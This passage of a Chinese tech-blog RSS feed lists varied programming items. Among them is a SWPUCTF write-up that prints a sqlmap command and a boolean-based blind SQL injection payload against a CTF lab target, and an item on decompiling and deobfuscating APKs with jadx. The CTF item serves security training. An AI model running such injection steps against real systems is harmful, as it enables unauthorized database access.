      <pubDate>Tue, 26 Dec 2023 10:54:46 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1a8db6789cb63fa49478bb16bee2f760/</guid>
      <description>系列文章目录 给软件行业带来了春天——揭秘Spring究竟是何方神圣（一）&#xA;给软件行业带来了春天——揭秘Spring究竟是何方神圣（二）&#xA;给软件行业带来了春天——揭秘Spring究竟是何方神圣（三）&#xA;给软件行业带来了春天——揭秘Spring究竟是何方神圣（四）&#xA;给软件行业带来了春天——揭秘Spring究竟是何方神圣（五）&#xA;文章目录 系列文章目录Webflux简介响应式编程使用 Webflux 简介 webflux是spring推出的响应式web框架，它的对标产品为spring-mvc, 与传统的spring-mvc相比较，webflux是完全非阻塞式的。&#xA;Webflux 特点：&#xA;第一 非阻塞式：在有限资源下，提高系统吞吐量和伸缩性，以 Reactor 为基础实现响应式编程。&#xA;第二 函数式编程：Spring5 框架基于 java8，Webflux 使用 Java8 函数式编程方式实现路由请求。&#xA;同步与异步，阻塞与非阻塞&#xA;同步：调用者发送请求，一直等待回应再去做其他的事情。&#xA;异步，调用者发送请求，不等对方回应就去做其他事情。&#xA;阻塞，被调用者受到请求之后，做完请求任务之后才给出反馈&#xA;非阻塞，被调用者受到请求之后，马上给出反馈再去做事情。&#xA;响应式编程 响应式编程是一种编程示例，可促进异步，非阻塞，事件驱动的数据处理方法。 响应式编程涉及将数据和事件建模为可观察的数据流，并实现数据处理例程以对这些流中的更改做出反应。&#xA;响应式编程可以理解为，当某一主题发生改变时，观察此主题的观察者就会立刻收到通知并做出一系列相应。&#xA;举个例子，在一个数据系统中，如果数据发生了变化，就会触发相应一系列的变化，数据改变，数据访问层发生变化，业务逻辑层发生变化 ，控制器发生变化，UI也做出相应的变化。&#xA;观察者模式&#xA;public class Observe extends Observable { public static void main(String[] args){ Observe observe=new Observe(); /* * 响应式编程 * */ //添加观察者 observe.addObserver((o,arg)-&amp;gt;{ System.out.println(&#34;实施改变&#34;); }); observe.addObserver((o,arg)-&amp;gt;{ System.out.println(&#34;接受通知，准备改变&#34;); }); observe.setChanged();//数据变化 observe.notifyObservers();//通知 } } SpringWebflux 基于 Reactor，默认使用容器是 Netty，Netty 是高性能的 NIO 框架，异步非阻塞的框架。</description>
    </item>
    <item>
      <title>Android apk安装包反编译——jadx工具</title>
      <link>https://bchobby.github.io/posts/1fbef62395f2bd2b70ae44641c57fd9a/</link>
      <pubDate>Tue, 26 Dec 2023 10:52:09 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1fbef62395f2bd2b70ae44641c57fd9a/</guid>
      <description>介绍 jadx 是一款功能强大的反编译工具，使用起来简单方便（拖拽式操作），不光提供了命令行程序，还提供了 GUI 程序。一般情况下，我们直接使用 GUI 程序就可以了&#xA;jadx 支持 Windows、Linux、 macOS，能够帮我们打开 .apk, .dex, .jar, .zip , .class 等格式的文件&#xA;下载 使用 jadx 需要先安装 jdk ，jdk 版本需要大于等于11，这里推荐 安装 jdk17。&#xA;然后 jadx发行下载页面 下载 jadx，我这里下载的是 jadx-gui-1.4.7-no-jre-win.exe ，下载后双击便可运行。&#xA;反编译jar包 就比如说我们需要反编译一个 jar 包查看其源码的话，直接将 jar 包拖入到 jadx 中就可以了。效果如下：&#xA;反编译apk文件 再比如说我们想看看某个 apk 的源码，我们拿到 apk 之后直接拖入进 jadx 中就可以了。效果如下：&#xA;反混淆 一般情况下，为了项目的安全，我们在打包发布一个 apk 之前都会对其代码进行混淆加密比如用无意义的短变量去重命名类、变量、方法，以免代码被轻易破解泄露。经过混淆的代码在功能上是没有变化的，但是去掉了部分名称中的语义信息。为了代码的易读性，我们可以对代码进行反混淆。&#xA;在 jadx 中，我们通过 Tools -&amp;gt; Deobfuscation 即可开启反混淆功能&#xA;反混淆后：</description>
    </item>
    <item>
      <title>.net core 表达式树Expression代码定义</title>
      <link>https://bchobby.github.io/posts/05c4269cfc00c8e42e158ae82b6c3a2f/</link>
      <pubDate>Tue, 26 Dec 2023 10:45:41 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/05c4269cfc00c8e42e158ae82b6c3a2f/</guid>
      <description>表达式树是一种数据结构，它将代码表达式表示为可以在运行时修改和执行的层次结构。&#xA;我们通常在LINQ中使用表达式树来主动地将查询转换为针对各种数据源的可执行格式。翻译过程包括将查询表达式的声明性语法转换为一系列方法调用。&#xA;我们还可以在需要使用运行时代码生成和操作的场景中使用表达式树，比如构建动态查询。&#xA;通常，我们使用c#中的Expression类创建表达式树。它包含一组静态方法，可用于创建各种表达式，包括算术表达式、逻辑表达式、比较表达式和方法调用表达式。&#xA;安装ExpressionTreeToString&#xA;这是用来可视化表达式树定义一个表达式树 using ExpressionTreeToString; using System.Linq.Expressions; Expression&amp;lt;Func&amp;lt;People, bool&amp;gt;&amp;gt; expression = b =&amp;gt; b.Name == &#34;ellis&#34;; Console.WriteLine(expression.ToString(&#34;Object notation&#34;,&#34;C#&#34;)); Console.WriteLine(&#34;Hello, World!&#34;); class People { public int Id { get; set; } public string Name { get; set; } } 3. 使用代码生成表达式树&#xA;// See https://aka.ms/new-console-template for more information using ExpressionTreeToString; using System.Linq.Expressions; Expression&amp;lt;Func&amp;lt;People, bool&amp;gt;&amp;gt; expression = p =&amp;gt; p.Name == &#34;ellis&#34;; ParameterExpression parameterExpression = Expression.Parameter(typeof(People), &#34;p&#34;); MemberExpression memberExpression = Expression.</description>
    </item>
    <item>
      <title>云上安全责任共担模型</title>
      <link>https://bchobby.github.io/posts/d7b1e531c5d595b670713c2f5607c945/</link>
      <pubDate>Tue, 26 Dec 2023 10:35:40 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d7b1e531c5d595b670713c2f5607c945/</guid>
      <description>对于传统自建物理服务器模式，用户需要承担所有的安全责任，负责从物理基础设施到上层应用的所有层面的安全体系构建。&#xA;云服务器的安全责任确实与物理服务器不同，云上的安全性是一种责任共担模式，其中云服务器ECS的安全责任需要你（用户）与阿里云（云服务提供商）双方一起承担。&#xA;云上安全责任共担模型&#xA;用户与阿里云双方的责任内容和边界如下：&#xA;阿里云（云服务提供商）负责云服务器ECS底层软硬件设施的安全性，包括物理设备的安全性，虚拟化服务的安全性，数据安全以及合规方面的安全性。&#xA;用户负责ECS实例内的安全性，包括实例的操作系统本身的安全性、以及操作系统内应用程序、数据等的安全性。为了提升ECS实例内的安全性，推荐用户需要及时更新操作系统补丁、通过快照定期备份云盘中的重要数据、设置合理的安全组访问规则和RAM访问控制。</description>
    </item>
    <item>
      <title>AI赋能金融创新：ChatGPT引领量化交易新时代</title>
      <link>https://bchobby.github.io/posts/cea86fbea029d795a7bcd1307fc1a1c1/</link>
      <pubDate>Tue, 26 Dec 2023 10:32:32 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/cea86fbea029d795a7bcd1307fc1a1c1/</guid>
      <description>文章目录 一、引言二、ChatGPT与量化交易的融合三、实践应用：ChatGPT在量化交易中的成功案例四、挑战与前景五、结论《AI时代Python量化交易实战：ChatGPT让量化交易插上翅膀》📚→ [当当](http://product.dangdang.com/29658180.html) | [京东](https://item.jd.com/14297538.html)亮点内容简介作者简介目录获取方式 一、引言 随着人工智能技术的不断进步，金融领域也经历着一场技术革命。量化交易，作为金融领域的一大分支，正逐渐受到AI技术的深刻影响。特别是近年来，ChatGPT等自然语言处理技术的崛起，为量化交易带来了前所未有的机遇。本文将深入探讨ChatGPT如何助力量化交易，以及这一结合所带来的挑战与前景。&#xA;二、ChatGPT与量化交易的融合 数据挖掘与信息处理：ChatGPT能够从海量的金融文本数据中提取有价值的信息，帮助量化交易者更准确地把握市场动态。策略开发与优化：基于ChatGPT的自然语言生成能力，交易者可以快速地测试和验证交易策略，提高策略开发效率。风险管理：ChatGPT能够识别和分析市场情绪、舆论趋势等，为风险管理提供有力支持。 三、实践应用：ChatGPT在量化交易中的成功案例 情感分析驱动的交易策略：利用ChatGPT分析社交媒体上的情感倾向，进而预测市场走势并制定相应的交易策略。新闻事件驱动的交易策略：通过ChatGPT实时解析新闻事件，捕捉市场反应并快速作出交易决策。智能投顾与客户服务：ChatGPT可以作为智能投顾，为客户提供个性化的投资建议和风险管理方案。 四、挑战与前景 数据安全与隐私保护：在使用ChatGPT处理金融数据时，如何确保数据安全和隐私保护是一个亟待解决的问题。技术成熟度与可靠性：目前ChatGPT在处理复杂金融问题时的准确性和稳定性仍需进一步提高。监管与合规：随着AI技术在金融领域的广泛应用，相关监管政策也需要不断完善以适应新技术的发展。 五、结论 ChatGPT等自然语言处理技术的兴起为量化交易带来了无限的可能。它们不仅提高了数据处理和策略开发的效率，还为风险管理和客户服务等领域注入了新的活力。然而，随着技术的不断进步和应用范围的扩大，我们也必须正视其中存在的挑战和问题，如数据安全、技术成熟度和监管合规等。通过不断地研究和探索，我们相信在未来，ChatGPT等AI技术将在量化交易领域发挥更加重要的作用，推动金融行业朝着更加智能化、高效化的方向发展。&#xA;《AI时代Python量化交易实战：ChatGPT让量化交易插上翅膀》📚→ 当当 | 京东 C h a t G P T 让量化交易师率飞起来！ ChatGPT让量化交易师率飞起来！ ChatGPT让量化交易师率飞起来！&#xA;金融量化交易新模式&#xA;一本专注于帮助交易师在AI时代实现晋级、提高效率的图书&#xA;书中介绍了如何使用 ChatGPT 来完成量化交易的各个环节&#xA;并通过实战案例展示了ChatGPT在实际量化交易中的应用方法&#xA;亮点 量化交易新模式：让量化交易更高效、更快捷、更完美。全流程解析：涵盖量化交易的不同应用场景，介绍从发量化交易Python语言基础、工具库、可视化库、数据采集与分析，再到量化交易、套利策略等关键环节。实战检验：ChatGPT结合多种量化交易工具及案例实操讲解，理解更加透彻。100%提高量化交易效率：揭秘ChatGPT与量化交易高效融合的核心方法论和实践经验。赠送资源：赠送教学视频及配套工具，供读者下载学习。 内容简介 本书是一本旨在帮助架构师在人工智能时代展翅高飞的实用指南。全书以ChatGPT为核心工具，揭示了人工智能技术对架构师的角色和职责进行颠覆和重塑的关键点。本书通过共计 13 章的系统内容，深入探讨AI技术在架构&#xA;设计中的应用，以及AI对传统架构师工作方式的影响。通过学习，读者将了解如何利用ChatGPT这一强大的智能辅助工具，提升架构师的工作效率和创造力。&#xA;本书的读者主要是架构师及相关从业人员。无论你是初入职场的新手架构师还是经验丰富的专业人士，本书都将成为你的指南，帮助你在人工智能时代展现卓越的架构设计能力。通过本书的指导，你将学习如何运用ChatGPT等工具和技术，以创新的方式构建高效、可靠、可扩展的软件架构。&#xA;同时，本书也适用于对架构设计感兴趣的其他技术类从业人员，如软件工程师、系统分析师、技术顾问等。通过学习本书的内容，你可以深入了解人工智能对架构设计的影响和带来的挑战，拓展自己的技术视野，提升对软件系统整体架构的理解和把握能力。&#xA;作者简介 关东升，一个在IT领域摸爬滚打20多年的老程序员、知名培训专家、畅销书作家，精通多种信息技术。曾参与设计和开发北京市公交一卡通系统、国家农产品追溯系统、金融系统微博等移动客户端项目，并在App Store发布多款游戏和应用软件。长期为中国移动、中国联通、中国南方航空、中国工商银行和天津港务局等企事业单位提供培训服务。先后出版了50多部IT图书，广受读者欢迎。&#xA;韩文锋，计算机专业本科，工程师，智慧农业和期货交易领域专家。擅长农业信息技术和期货交易风险管理，熟练使用Python、Java等编程语言。曾参与国家农产品溯源系统设计，利用区块链技术追溯农产品质量安全；主导开发iPad和Android客户端，实现消费者扫码查验源头信息。长期从事期货交易系统开发，掌握交易策略模型。利用机器学习算法，开发大豆期货交易分析系统，支持农业生产者规避市场风险。&#xA;目录 第1章ChatGPT、Python和量化交易概述 1.1 ChatGPT的应用领域2 1.2 Python编程在量化交易中的重要性和优势2 1.3 ChatGPT、Python和量化交易的结合价值和应用前景3 1.4 本章总结4 第2章 量化交易Python语言基础 2.1 Python解释器6 2.2 IDE工具7 2.2.1 安装Jupyter Notebook8 2.2.2 启动Jupyter Notebook9 2.</description>
    </item>
    <item>
      <title>[SWPUCTF 2021 新生赛]error</title>
      <link>https://bchobby.github.io/posts/7c859cc85db9cd285507ba9c7d6ac076/</link>
      <pubDate>Tue, 26 Dec 2023 10:26:22 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7c859cc85db9cd285507ba9c7d6ac076/</guid>
      <description>[SWPUCTF 2021 新生赛]error wp 信息搜集 查看页面：&#xA;输个单引号会报错：&#xA;显然是 SQL 注入。&#xA;提示看看有没有什么捷径，你要说捷径的话，sqlmap？你不说我也会用 sqlmap 先跑一下，哈哈。&#xA;sqlmap 的使用 先简单测试一下看能不能跑出来： sqlmap -u &#34;http://node4.anna.nssctf.cn:28069/index.php?id=1&#34; --batch -u URL, --url=URL Target URL (e.g. “http://www.site.com/vuln.php?id=1”) （指定 URL）&#xA;–batch Never ask for user input, use the default behavior （不再询问，默认执行）&#xA;返回结果：&#xA;sqlmap identified the following injection point(s) with a total of 223 HTTP(s) requests: Parameter: id (GET) Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause Payload: id=1&#39; AND 1142=1142 AND &#39;Bbac&#39;=&#39;Bbac Type: error-based Title: MySQL &amp;gt;= 5.</description>
    </item>
    <item>
      <title>【MIMO 从入门到精通】[P5]【What is Least Squares Estimation】</title>
      <link>https://bchobby.github.io/posts/fac136ebc08f6585ea6245dffea5cd73/</link>
      <pubDate>Tue, 26 Dec 2023 10:23:02 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/fac136ebc08f6585ea6245dffea5cd73/</guid>
      <description>前言：&#xA;本章详细介绍一下MIMO 中MSE 译码器原理&#xA;向量 代表每根天线发送的数据&#xA;向量 代表每根天线实际收到的数据&#xA;矩阵 代表接收和发送天线之间的传播信道，这个通过信道估计是一个已知值&#xA;我们通过接收到的y 如何还原出原始的发送信号 MSE 模型：&#xA;要找到, 我们实际测量到的y 要和 模型预测到的 偏差最小，&#xA;忽略噪声：&#xA;对求微分：&#xA;所有这个模型有两个限制：&#xA;1： 噪声特别小&#xA;2： 可逆，有的时候会使用L2正规化，保证可逆增加模型的泛化性。&#xA;参考：&#xA;Iain Explains Signals, Systems, and Digital Comms&#xA;Explains Least Squares (LS) Estimation with two examples:&#xA;1. line-fitting a data set, and&#xA;2. digital communications. Derives the LS equation and shows how it can be viewed as a pseudo inverse.</description>
    </item>
    <item>
      <title>12月25日作业</title>
      <link>https://bchobby.github.io/posts/f4831e68571015db19e1028e0834fb17/</link>
      <pubDate>Tue, 26 Dec 2023 09:38:25 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f4831e68571015db19e1028e0834fb17/</guid>
      <description>串口发送控制命令，实现一些外设LED 风扇&#xA;uart4.c&#xA;#include &#34;uart4.h&#34; void uart4_config() { //1.使能GPIOB\GPIOG\UART4外设时钟 RCC-&amp;gt;MP_AHB4ENSETR |= (0x1 &amp;lt;&amp;lt; 1); RCC-&amp;gt;MP_AHB4ENSETR |= (0x1 &amp;lt;&amp;lt; 6); RCC-&amp;gt;MP_APB1ENSETR |= (0x1 &amp;lt;&amp;lt; 16); //=============================================== //led时钟使能 RCC-&amp;gt;MP_AHB4ENSETR |= (0x3 &amp;lt;&amp;lt; 4); //设置PE10输出 GPIOE-&amp;gt;MODER &amp;amp;= (~(0x3&amp;lt;&amp;lt;20)); GPIOE-&amp;gt;MODER |= (0x1&amp;lt;&amp;lt;20); //设置PE10为推晚输出 GPIOE-&amp;gt;OTYPER &amp;amp;= (~(0x1&amp;lt;&amp;lt;10)); //PE10为低速输出 GPIOE-&amp;gt;OSPEEDR &amp;amp;= (~(0x1&amp;lt;&amp;lt;10)); //设置无上拉下拉 GPIOE-&amp;gt;PUPDR &amp;amp;= (~(0x3&amp;lt;&amp;lt;20)); //=============================================== //设置PE9输出 GPIOE-&amp;gt;MODER &amp;amp;= (~(0x3&amp;lt;&amp;lt;18)); GPIOE-&amp;gt;MODER |= (0x1&amp;lt;&amp;lt;18); //设置PE10为推晚输出 GPIOE-&amp;gt;OTYPER &amp;amp;= (~(0x1&amp;lt;&amp;lt;18)); //PE9为低速输出 GPIOE-&amp;gt;OSPEEDR &amp;amp;= (~(0x1&amp;lt;&amp;lt;18)); //设置无上拉下拉 GPIOE-&amp;gt;PUPDR &amp;amp;= (~(0x3&amp;lt;&amp;lt;18)); //=============================================== //2.</description>
    </item>
    <item>
      <title>基于大语言模型LangChain框架：知识库问答系统实践</title>
      <link>https://bchobby.github.io/posts/7aa71d73666fa2eb848b5b86ba0d68a0/</link>
      <pubDate>Tue, 26 Dec 2023 09:36:43 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7aa71d73666fa2eb848b5b86ba0d68a0/</guid>
      <description>ChatGPT 所取得的巨大成功，使得越来越多的开发者希望利用 OpenAI 提供的 API 或私有化模型开发基于大语言模型的应用程序。然而，即使大语言模型的调用相对简单，仍需要完成大量的定制开发工作，包括 API 集成、交互逻辑、数据存储等。&#xA;为了解决这个问题，从 2022 年开始，多家机构和个人陆续推出了大量开源项目，帮助开发者快速创建基于大语言模型的端到端应用程序或流程，其中较为著名的是 LangChain 框架。&#xA;LangChain 框架是一种利用大语言模型的能力开发各种下游应用的开源框架，旨在为各种大语言模型应用提供通用接口，简化大语言模型应用的开发难度。它可以实现数据感知和环境交互，即能够使语言模型与其他数据源连接起来，并允许语言模型与其环境进行交互。本文将重点介绍 LangChain 框架的核心模块，以及使用 LangChain 框架搭建知识库问答系统的实践。&#xA;LangChain框架核心模块&#xA;使用 LangChain 框架的核心目标是连接多种大语言模型（如 ChatGPT、LLaMA 等）和外部资源（如 Google、Wikipedia、Notion 及 Wolfram 等），提供抽象组件和工具以在文本输入和输出之间进行接口处理。大语言模型和组件通过“链（Chain）”连接，使得开发人员可以快速开发原型系统和应用程序。LangChain 的主要价值体现在以下几个方面。&#xA;（1）组件化：LangChain 框架提供了用于处理大语言模型的抽象组件，以及每个抽象组件的一系列实现。这些组件具有模块化设计，易于使用，无论是否使用 LangChain 框架的其他部分，都可以方便地使用这些组件。&#xA;（2）现成的链式组装：LangChain 框架提供了一些现成的链式组装，用于完成特定的高级任务。这些现成的链式组装使得入门变得更加容易。对于更复杂的应用程序，LangChain 框架也支持自定义现有链式组装或构建新的链式组装。&#xA;（3）简化开发难度：通过提供组件化和现成的链式组装，LangChain 框架可以大大简化大语言模型应用的开发难度。开发人员可以更专注于业务逻辑，而无须花费大量时间和精力处理底层技术细节。&#xA;LangChain 提供了以下 6 种标准化、可扩展的接口，并且可以外部集成：模型输入/输出（Model I/O），与大语言模型交互的接口；数据连接（Data connection），与特定应用程序的数据进行交互的接口；链（Chain），用于复杂应用的调用序列；记忆（Memory），用于在链的多次运行之间持久化应用程序状态；智能体（Agent），语言模型作为推理器决定要执行的动作序列；回调（Callback），用于记录和流式传输任何链式组装的中间步骤。&#xA;知识库问答系统实践&#xA;大语言模型虽然可以很好地回答很多领域的各种问题，但是由于其知识是通过语言模型训练及指令微调等方式注入模型参数中的，因此针对本地知识库中的内容，大语言模型很难通过此前的方式有效地进行学习。通过 LangChain 框架，可以有效地融合本地知识库内容与大语言模型的知识问答能力。&#xA;基于 LangChain 的知识库问答系统框架如下图所示。&#xA;知识库问答系统的工作流程主要包含以下几个步骤。&#xA;（1）收集领域知识数据构造知识库，这些数据应当能够尽可能地全面覆盖问答需求。&#xA;（2）对知识库中的非结构数据进行文本提取和文本分割，得到文本块。&#xA;（3）利用嵌入向量表示模型给出文本块的嵌入表示，并利用向量数据库进行保存。&#xA;（4）根据用户输入信息的嵌入表示，通过向量数据库检索得到最相关的文本片段，将提示词模板与用户提交问题及历史消息合并输入大语言模型。&#xA;（5）将大语言模型结果返回给用户。&#xA;上述过程的代码示例如下：&#xA;from langchain.document_loaders import DirectoryLoader&#xA;from langchain.embeddings.openai import OpenAIEmbeddings&#xA;from langchain.text_splitter import CharacterTextSplitter</description>
    </item>
    <item>
      <title>宏集方案 | 物联网HMI的关键驱动力—SCADA级功能库和控件库</title>
      <link>https://bchobby.github.io/posts/e3f8ca320fa97a180d462eca2babfd55/</link>
      <pubDate>Tue, 26 Dec 2023 09:36:18 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e3f8ca320fa97a180d462eca2babfd55/</guid>
      <description>来源：宏集科技 工业物联网 宏集方案 | 物联网HMI的关键驱动力—SCADA级功能库和控件库&#xA;原文链接：https://mp.weixin.qq.com/s/UEPtpTehdbFrw3MUCnuR2A&#xA;欢迎关注虹科，为您提供最新资讯！&#xA;01 前言 在这个数字化时代，物联网HMI已成为连接人与设备之间的关键纽带，为用户提供直观、智能的交互体验，背后强大的关键驱动力扮演着至关重要的角色，其中SCADA级功能库和控件库的引入成为了物联网HMI设计和开发的核心要素。&#xA;SCADA级功能库为物联网HMI带来了出色的数据可视化和边缘计算能力，能够实现对复杂系统和设备的实时监测与控制，协助用户快速制定和执行生产决策；SCADA级控件库为物联网HMI提供了丰富的交互元素和可视化控件，创建出直观、个性化的可视化界面，满足不同应用场景的需求，提供更好的用户体验。&#xA;关键驱动力的引入不仅提升了物联网HMI的功能性，也帮助企业加快智能化生产和数字化转型的进程。本文将重点介绍宏集物联网HMI的关键驱动力及其在实际应用中的核心价值。&#xA;02 宏集物联网HMI解决方案 01 一站式解决方案 凭借着强大的功能库和控件库，宏集物联网HMI为用户提供从底层设备到云端的一站式解决方案，帮助用户构建设备的全局连接，消除信息孤岛，实现企业数据的互联互通。&#xA;宏集一站式物联网HMI解决方案系统框架图如下所示：&#xA;02 SCADA级功能库 海量数据标签和通讯协议&#xA;宏集物联网HMI支持1万点基础数据标签或者基于客户需求的特定标签点数，200+通讯协议，包括OPC UA、Modbus、MQTT和西门子、欧姆龙、AB、三菱、施耐德、倍福、基恩士等主流PLC协议，支持批量导入PLC设备标签文件，减少项目的开发时间;最多同时运行8种通讯协议，用户可以根据需求增减协议驱动。&#xA;此外，用户无需选购协议包和标签点数包，一次授权，上述所有标签点数和通讯协议都可使用，无需复购，帮助企业规避由于产线升级引起的原有通讯协议/标签点数不足带来的产品复购风险，以及由于企业规划需要预留足够的通讯协议/标签点数带来的成本浪费风险。&#xA;数据可视化&#xA;宏集物联网HMI支持趋势、报警及邮件通知、报表、配方、多语言、调度器、数据映射、审计追踪及电子签名、用户及权限管理等功能，结合功能专属控件，用户只需简单配置功能参数即可高效实现设备及系统数据的监测和控制。&#xA;百种宏指令&#xA;宏集物联网HMI提供百种便捷宏指令，包括页面加载、数据库增删改查、报表打印、邮件通知、用户管理和FTP上传/下载等指令，用户可以直接将指令链接到按钮等控件，便可快速实现实际项目所需的功能操作。&#xA;边缘计算&#xA;宏集物联网HMI支持运算公式功能，用户可以使用数据运算符、逻辑运算符、比较运算符和字符串运算符等运算符完成基本的数据运算。&#xA;此外，宏集物联网HMI支持JavaScript编程语言，用户可以编写JavaScript脚本实现诸如设备OEE/KPI分析、设备故障时间/次数统计、数据断点续传、读写CSV文件数据、数据库增删改查以及其他用户定制化功能，实现边缘侧的数据存储、分析和处理，减小主服务器的算力负载。同时，宏集物联网HMI提供JavaScript分析器开发工具，加快复杂项目的分析速度。&#xA;远程监控&#xA;宏集物联网HMI内置Web/VNC/SSH/FTP服务器，用户可以通过Web浏览器(PC/平板/手机)和VNC客户端即可实现局域网内设备的远程监控。&#xA;PLC &amp;amp; HMI一体机&#xA;宏集物联网HMI内部集成CODESYS V3 PLC Runtime，支持Modbus、Profinet、EtherCAT、EtherNet/IP、J1939等现场总线，结合宏集本地/远程IO模块可作为PLC &amp;amp; HMI一体机使用，帮助用户实现现场IO数据的采集和控制。&#xA;OT与IT融和&#xA;宏集物联网HMI支持OPC UA、MQTT等协议，可以将采集到的设备数据上传到用户管理系统(如SCADA/MES系统)，或者云平台(如阿里云/华为云/AWS)，实现企业数据的统筹管理。另外，宏集物联网HMI提供SQL数据库接口，支持将数据存储到MySQL、SQL Server、PostgreSQL和支持ODBC接口的数据库，用于后续历史数据的分析和处理。&#xA;Corvina云平台&#xA;宏集物联网HMI提供配套Corvina云平台，支持Dashboard、VPN、报警及通知、审计追踪、用户管理等功能，帮助用户实现底层设备数据的上云和云端的数据可视化，以及PLC设备的远程管理和维护，提高技术人员的工作效率，减少人员工作成本。&#xA;项目安全&#xA;宏集物联网HMI支持项目加密，用户可以自定义项目密码，一旦项目文件被加密，其他用户无法打开和运行项目工程。&#xA;与此同时，宏集物联网HMI支持通过x.509证书为项目签名，保护设备的正常运行，防止用户随意更改设备当前的运行程序。&#xA;03 SCADA级控件库 宏集物联网HMI预置2000+现代风格控件库，包括数字/文本/按钮/开关等基本控件，网格/选项栏/表格/仪表盘等智能控件，警报/趋势/审计追踪等专属功能控件以及IP摄像头/堆栈/二维码等特殊控件，为用户提供了丰富的控件，使得用户创建出直观、个性化的可视化界面。同时，结合拖拽式页面组态，可以极大程度地加快用户开发速度，快速实现项目落地。&#xA;03 总结 凭借两大关键驱动力——SCADA级功能库和控件库，宏集物联网HMI解决方案为用户带来了卓越的交互体验和智能控制能力，使得用户能够定制直观、个性化的可视化界面，高效实现设备数据的采集、边缘计算和实时监控，为企业数字数字化转型提供从底层设备到云端的一站式解决方案，推动企业的智能化生产。</description>
    </item>
    <item>
      <title>信号与线性系统翻转课堂笔记11——连续LTI系统频域分析</title>
      <link>https://bchobby.github.io/posts/a385dc6ef2069c716a0305b8779223ab/</link>
      <pubDate>Tue, 26 Dec 2023 08:51:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a385dc6ef2069c716a0305b8779223ab/</guid>
      <description>信号与线性系统翻转课堂笔记11——连续LTI系统频域分析 The Flipped Classroom11 of Signals and Linear Systems 对应教材：《信号与线性系统分析（第五版）》高等教育出版社，吴大正著&#xA;一、要点 （1，重点）LTI连续系统频率响应的概念及其物理含义，理解滤波器的概念及其作用；&#xA;（2，重点）熟练掌握LTI系统频率响应与其他系统模型之间的相互转换；&#xA;（3）基于频域分析的方法，求LTI连续系统的零状态响应（含周期和非周期激励信号）；&#xA;（4）无失真传输的概念，信号通过线性系统不失真的条件；&#xA;（5）了解理想低通滤波器及其冲激响应和阶跃响应的特点。&#xA;二、问题与解答 1、 将一个信号输入到系统，并得到相应输出信号的过程，就是对信号的处理。根据系统频率响应的物理含义，结合教材例题4.8-1，从频域的角度讨论：如果用一个LTI系统来处理信号，其实质是什么（与输入信号相比，处理的结果即输出信号的频率、幅度、相位等发生了什么变化，这些变化是由系统的什么特性决定的）？&#xA;2、根据预备训练二的内容，讨论：①从频域的角度来看，预备训练中给出的RC电路是一种什么类型（低通、高通、带通、带阻）的滤波器（可参考课件141页的幅频响应曲线来回答）？如果想利用一个电阻和一个电容来构建一个高通滤波器，电路应该如何连接？②RLC电路处于过阻尼状态时，是一种什么类型的滤波器？③RLC电路处于欠阻尼状态时，又属于什么类型的滤波器？&#xA;3、&#xA;4、&#xA;5、&#xA;6、&#xA;1、系统的频率响应 将一个信号输入到系统，并得到相应输出信号的过程，就是对信号的处理。根据系统频率响应的物理含义，结合教材例题4.8-1，从频域的角度讨论：如果用一个LTI系统来处理信号，其实质是什么（与输入信号相比，处理的结果即输出信号的频率、幅度、相位等发生了什么变化，这些变化是由系统的什么特性决定的）？&#xA;系统频率响应的物理含义：是LTI系统的一种系统模型，是系统冲激响应的h(t)的傅里叶变换。&#xA;实质：&#xA;2、RC/RLC电路构建滤波器 根据预备训练二的内容，讨论：①从频域的角度来看，预备训练中给出的RC电路是一种什么类型（低通、高通、带通、带阻）的滤波器（可参考课件141页的幅频响应曲线来回答）？如果想利用一个电阻和一个电容来构建一个高通滤波器，电路应该如何连接？②RLC电路处于过阻尼状态时，是一种什么类型的滤波器？③RLC电路处于欠阻尼状态时，又属于什么类型的滤波器？&#xA;（1）&#xA;在基本的RC滤波电路中：C做输出瑞就是低通滤波器，R做输出就是高通滤波器。&#xA;当电源频率由0变大时，电容两端电压由大变小，因而低通；而在高通电路中，电阻两瑞的电压由0慢慢变大，因而高通。&#xA;因此给出的RC电路为为低通滤波器。&#xA;构建高通滤波器，需要将电阻作为输出端。&#xA;（2）&#xA;处于过阻尼状态时是低通滤波器。&#xA;（3）&#xA;处于欠阻尼状态时可以是低通滤波器，也可以是高通滤波器。&#xA;3、求频率响应、冲激响应、零状态响应 4、由冲激响应求微分方程 5、无失真传输 syms t w f=cos(t)+cos(2*t); y1=2*cos(t)+cos(2*t); y2=cos(t+pi/4)+cos(2*t+pi/3); y3=2*cos(t+pi/4)+cos(2*t+pi/2); subplot(2,2,1); fplot(t,f,[-10,10]); grid on;title(&#39;f=cos(t)+cos(2*t)&#39;) subplot(2,2,2); fplot(t,y1,[-10,10]) ;grid on;title(&#39;y1=2*cos(t)+cos(2*t)&#39;) subplot(2,2,3); fplot(t,y2,[-10,10]); grid on;title(&#39;y2=cos(t+pi/4)+cos(2*t+pi/3)&#39;) subplot(2,2,4); fplot(t,y3,[-10,10]); grid on;title(&#39;y3=2*cos(t+pi/4)+cos(2*t+pi/2)&#39;) y1(t)相对于f(t)产生了幅度失真，即只有前面的cost变成了2cost，高频分量产生幅度失真，未产生相位失真。&#xA;y2(t)相对于f(t)产生了相位失真，cost发生线性移动π/4，cos2t发生线性移动π/3，未产生幅度失真。&#xA;y3(t)相对于f(t)既产生了相位失真，cost发生线性移动π/4，cos2t发生线性移动π/3，也产生了幅度失真，只有前面的cost变成了2cos(t+4/π)。&#xA;6、理想低通滤波器的冲激响应和阶跃响应 （1）</description>
    </item>
    <item>
      <title>神经网络介绍</title>
      <link>https://bchobby.github.io/posts/4cb34e790ab37a6c140fe53a6d4c8839/</link>
      <pubDate>Tue, 26 Dec 2023 08:30:25 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4cb34e790ab37a6c140fe53a6d4c8839/</guid>
      <description>目录 知识点介绍 知识点介绍 前馈神经网络：（前馈网络的数据只向一个方向传播）&#xA;RNN循环神经网络，下图中多个 RNN 层都是“同一个层”，这一点与之前的神经网络是不一样的。</description>
